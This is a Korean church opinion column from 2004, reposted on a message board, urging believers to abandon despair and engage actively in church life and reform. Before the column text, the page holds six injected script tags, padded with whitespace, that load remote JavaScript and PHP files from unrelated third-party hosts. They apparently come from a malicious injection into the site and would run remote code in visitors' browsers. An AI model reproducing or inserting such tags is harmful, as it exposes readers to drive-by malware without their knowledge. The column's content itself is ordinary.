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칼럼 절망의 늪에서 속히 나오자(뉴스앤조이.040206)

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작성자 by 관리자 / 작성일04-02-10 12:29 / 조회 6,252 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    절망의 늪에서 속히 나오자
희망을 버리는 것이 곧 죄…교회일에 관심 갖는 적극적 자세 필요
                                                                                                        2004년 02월 04일
 
 
 
지난 주일 우리 교회에서는 올해 재정을 위한 회의와 일꾼을 뽑는 투표가 있었다. 예전과 달리 많은 사람들이 모여 의논하고 투표에 참여해 목회자로서 감사했다. 교회 일에 관심을 갖고 교회 안을 들여다보는 움직임이 있다는 것을 느꼈다. 몇 몇 사람에게 조직을 운영하도록 뒷짐 지고 있다가 마음에 들지 않으면 불평하고 떠나는 것보다 사랑하는 마음으로 참여하여 함께하는 것이 옳다고 생각한다.

만일 참여의 기회를 주지 않거나 언론을 차단하는 제도 및 잘못된 관행이 있다면 고쳐서 바르게 세우고자하는 열정이 필요하다. 그런데 우리들의 문제는 건강한 교회를 이루려는 노력을 접고 희망을 포기하는데 있다. 희망을 버리는 것은 체념, 즉 절망이고 그것은 곧 죄이다. 그리스도인은 악을 행하는 것만이 죄라고 생각하는 소극적인데서 벗어나 선을 행하지 않는 것이 더 큰 죄라는 적극적인 자세가 필요하다.

한 달란트 받은 자가 땅에 묻어두고 주인 오기만을 기다리는 약삭빠른(?) 행동처럼 조용히 교회만 다니거나 가만히 있으면 괜찮은 사람이라는 평가를 받는 교회 문화는 사라져야 한다. 마치 정치판이 더러워 실망의 실망을 거듭하다 좀더 나은 일꾼을 뽑는 투표에도 참여하지 않고 나라가 어떻게 되든지 나만 잘사는 모습이 사라져야 하는 것과 같다.
 
요즘 우리의 신앙 모습은 절망의 늪으로 들어가고 있는 것 같아 안타깝다. 일요일만 겨우 왔다가는 눈도장 찍는 식의 형식적인 예배참여, 그것도 교회에 나와 이웃 섬김과 봉사, 친교에는 참여치 않고 바람같이 사라지는 냉소적 태도, 깊은 기도를 통한 이웃의 아픔을 감당키는커녕 기복적 유치한 기도에 고개를 흔들다가 자신도 모르게 참 기도에 게으른 허구적 모습이 팽배하다.

무엇보다 심각한 것은 강단에서의 설교가 하나님 나라의 희망을 이야기하기 보다는 무엇을 먹고 마시며 입을까에 대부분을 차지하는 것은 미래를 향한 하나님의 약속이 꺾여지고 있다는 반증이다. 소위 현실주의자들은 희망과 기다림을 포기하고 쉽게 체념하고 안주하며 새로움을 향한 몸부림을 비웃는다. 현실의 이익이 무엇인지 잘 알고 대처한다고 똑똑한 척 하지만 그것은 미래를 향한 오늘이 아니라 희망없는 절망의 그림자이다.

 
현실에 안주하는 그들이 힘있는 척 하고 때로는 여유로운 미소를 지을 수 있지만, 목표 없는 허무함을 감추려는 어리석음일 뿐이다. 미래의 꿈을 포기하지 않는 희망의 사람이 현실을 제대로 볼 수 있고 현재의 모순을 바꾸는 진정한 현실론자이다.
그리스도를 따르는 몸부림과 교회 개혁을 위해 열심을 내다 자신과 주변의 한계에 부딪쳐 눈물을 흘리고 상처투성이가 되어도 그것이 선이며, 볼 수 없는 것을 보는 믿음 있는 사람의 모습이기에 결국 주님은 그들을 칭찬하실 것이다.

현재 아픔과 고난 속에 있는 성도와 교회가 희망이 있고 오히려 자기만족에 취해 우쭐거리는 자들과 교회가 절망의 늪으로 빠지고 있다는 것을 아는가? 기득권을 포기하지 못하는 현실주의, 새로운 변화의 물결에 대한 냉소적 태도, 신앙의 형식화는 두려움을 극복하지 못한 희망 없는 사람들의 모습이다. 하나님 나라가 온전히 실현될 미래를 비웃는 사람들이 지금 현실에 너무 많아 숨이 막힐 지경이라 해도 주님의 약속에 희망을 두고 절망의 늪에서 속히 나와야 한다.
 
방인성 ispang@schurch.org
(c)2003 뉴스앤조이
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